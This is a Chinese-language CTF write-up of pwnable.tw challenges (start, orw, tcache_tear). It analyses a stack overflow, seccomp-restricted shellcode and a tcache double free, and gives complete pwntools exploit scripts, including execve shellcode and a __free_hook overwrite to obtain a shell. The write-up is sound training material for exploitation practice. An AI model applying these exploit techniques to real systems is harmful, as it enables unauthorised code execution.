pwnable.tw 持续更新

0x00 前言

pwnable的题挺好玩的,就是难度可能偏高,但是可以练基本功,知道自己的弱项在哪里,所以写WP来做刷题记录。

0x01 start

分析

这篇WP在距离第一次做这题之后一个多月时间又修改了一次,不同的是,这段时间我学了一点汇编,才发现自己之前做题还是处于很懵懂的状态。其实这道题很有意思,程序是用汇编写的,短小精悍,32位无保护。IDA有点无助,如果不熟悉汇编,可以用动调来看发生了什么。从代码上来看,就是两次系统调用,然后就会退出。第一个系统调用显然是write,第二个IDA看不出来,但是从系统调用号(al寄存器处)可以看出来是read函数。

start_ida

在准备write之前,程序总共push了6次,第一次是把esp中的地址放到了栈上,然后是_exit函数的地址,接下来连续push五次放的是字符串到栈上。我们知道,每push一次sp寄存器就会自动减一个字长。接下来程序把esp的地址作为起始地址然后打印20个字节,刚好对应五次push的内容。所以如果我们定义字符串最后一个字符的地址是buf,那么esp一开始的地址就是buf+0x1C。

打印完之后ecx中的内容没变,紧接着就read60个字节。也就是说程序从buf处开始输入60字节,有溢出,因为此时buf距离ret地址只有 0x14。注意,这里和平时我们常接触的C语言编译的程序不太一样,它没有ebp的存在(整个程序都没出现),所以那个offset _exit其实就是返回地址了。我们又知道,ret完后sp寄存器会自动加一个字长,所以ret完后sp寄存器刚好指向一开始写esp值的栈地址。显然这个地址也是个栈地址,所以我们可以控制执行流,让程序返回到0x8048087处更新ecx后打印,这样我们就泄露了栈地址了。

栈地址有什么用呢?整个程序很简单,也没有后门,也没有libc这一说,所以只能通过syscall来getshell,但是又没有足够的gadget来控制寄存器,所以考虑写shellcode。正好,程序没开NX保护。shellcode只能写到栈上,所以我们需要栈地址。上一步打印完后,程序直接从当前esp处开始输入。但是这里要注意,输入完之后程序依然会执行add esp,14hretn,所以我们需要利用这个retn返回到shellcode处。所以输入的60字节就被这个ret地址切割成了20字节和36字节。我们很难找到少于20字节的shellcode,所以shellcode要写在24个字节之后。别忘了我们接收到的地址在当前esp的地址还要+4,所以我们要返回的地址是接收到的地址再+20就行了。

如果不确定我们接收到的地址到底是哪,可以动调看看,然后手算一下。

start_gdb

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
r = process("./start")
# r = remote("chall.pwnable.tw", 10000)
context(log_level="debug", arch='i386', os='linux')


def launch_gdb():
context.terminal == ['xdce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(r)[0])


write_addr = 0x8048087
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

# launch_gdb()
r.recv()
payload = b'a'*0x14+p32(write_addr)
r.send(payload)
buf_addr = u32(r.recv(4))
print(hex(buf_addr))

#pause()

payload = b'a'*0x14+p32(buf_addr+0x14)+shellcode
r.send(payload)

r.interactive()

0x02 orw

分析

orw_ida

程序十分简单,32位,就是开了一个沙盒,然后读取shellcode后执行。题目也已经提示了要用orw。我们直接用seccomp-tools查看沙盒都开了些什么。

orw_seccomp

开了些白名单,可以用这些函数,也就是说其他的用不了。程序中read函数可以输入200字节,所以直接使用pwntools的shellcraft工具来生成shellcode就行。&shellcode位于bss段,我们读取的flag也可以存在bss段,注意不要和shellcode有冲突就行。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
# r = process('./orw')
r = remote('chall.pwnable.tw', 10001)

flag_addr = 0x804A060+200

shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read(3, flag_addr, 100)
shellcode += shellcraft.write(1, flag_addr, 100)
# print(len(asm(shellcode))) #72

r.recvuntil(b'shellcode:')
r.sendline(asm(shellcode))
r.interactive()

0x03 calc

单独一篇文章分析

0x21 tcache_tear

分析

题目名字就很明显提示了要用tcachebin attack,给了libc附件,用ROPgadget工具查了一下libc中binsh的偏移,用libcdata网站查出libc是2.27版本的。

tcache_tear_libc

说到tcache在2.27,我的第一反应就是double free没有任何检查,后面肯定用得上。然后程序一开始就要你往bss段写一个name,info函数也只是把这个name打印出来,肯定有些倪端,应该是要拿来泄露libc地址了。free功能限制了总共只能释放8个chunk,但是有UAF漏洞,为double free奠定了基础。malloc功能限制了大小为0xFF,并且可以写入的字节数为size-0x10,所以没有堆溢出。整个程序只有一个ptr变量用来储存上一个被申请的chunk的指针,所以一旦申请了新的chunk之后,之前申请的chunk就没法再被释放了。

所以总的思路就是,先泄露libc地址,然后通过double free劫持fd申请chunk到__free_hook,写入system地址后释放一个chunk来getshell,当然这个方式有个前提是在这之前的free不能超过7个;也可以劫持malloc_hook为one_gadget;看到程序当中有个exit本来想着劫持got表为one_gadget,但是看保护开了got表不可写(full relro),所以这个方案没法实现。

泄露libc

这道题不止一种泄露方法,这里先看一种,另外一种有时间再试试。其实这题不太好leak。如果有指针变量的话就可以通过got表来泄露,很可惜这里没有。堆题里另一种常见的泄露方式是通过unsorted bin的fd泄露,所以我们可以伪造一个fake chunk释放后进入unsorted bin来打印,显而易见这个chunk要在name处构造,size要在largebin范围,因为smallbin范围会先进入tcachebin。

释放chunk的时候libc会对chunk有一些检查,我们伪造chunk的话需要绕过这些检查。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   /* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");

nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
/*这部分没有注释,但是一个chunk下面要么是另一个chunk要么是top chunk,所以检查一下很正常*/

free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

总而言之就是,libc会检查被释放的chunk的下一个chunk和下下个chunk的size字段,所以总的来说要伪造三个chunk,size字段分别为0x501,0x21,0x21就可以了。0x501在程序一开始就写入,下面两个size字段就需要通过double free申请到name+0x500处写入。这里要注意一个问题,我们可以同时写入下面两个chunk,总共需要写入8*4*2个字节,但是申请一个chunk的时候只能写入size-0x10个字节,所以我们double free的size至少要0x50。

然后第二次double free就申请到name+0x10处(tcachebin链表存的是mem地址),然后释放掉之后0x501size的chunk就会进入unsorted bin,然后fd就是一个和main_arena有固定偏移的地址,打印出来就可以计算出libc地址。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
r.recvuntil(b'Name:')
r.sendline(p64(0)+p64(0x501))
add(0x50)
delete()
delete()
add(0x50, p64(name_addr+0x500))
add(0x50)
add(0x50, flat(0, 0x21, 0, 0)*2)

add(0x70)
delete()
delete()
add(0x70, p64(name_addr+0x10))
add(0x70)
add(0x70, b'deadbeef')
delete()
info()
# print(r.recv())
libc_address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
# 0x3ebca0 偏移可以通过2.27版本关键词在网上查到
log.success('libc_addr:'+hex(libc_address))
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# r = process('./tcache_tear')
r = remote('chall.pwnable.tw', 10207)
libc = ELF('./libc.so')
e = ELF('./tcache_tear')

name_addr = 0x602060


def cmd(choice):
r.recvuntil(b'Your choice :')
r.sendline(str(choice).encode())


def add(size, content=b'aaaaaaaa'):
cmd(1)
r.recvuntil(b'Size:')
r.sendline(str(size).encode())
r.recvuntil(b'Data:')
r.send(content)


def delete():
cmd(2)


def info():
cmd(3)


def exit():
cmd(4)


r.recvuntil(b'Name:')
r.sendline(p64(0)+p64(0x501))
add(0x50)
delete()
delete()
add(0x50, p64(name_addr+0x500))
add(0x50)
add(0x50, flat(0, 0x21, 0, 0)*2)

add(0x70)
delete()
delete()
add(0x70, p64(name_addr+0x10))
add(0x70)
add(0x70, b'deadbeef')
delete()
info()
# print(r.recv())
libc_address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
log.success('libc_addr:'+hex(libc_address))

add(0x90)
delete()
delete()
add(0x90, p64(libc_address+libc.sym['__free_hook']))
add(0x90)
add(0x90, p64(libc_address+libc.sym['system']))

add(0xb0, b'/bin/sh\x00')
delete()
r.interactive()
⬆︎TOP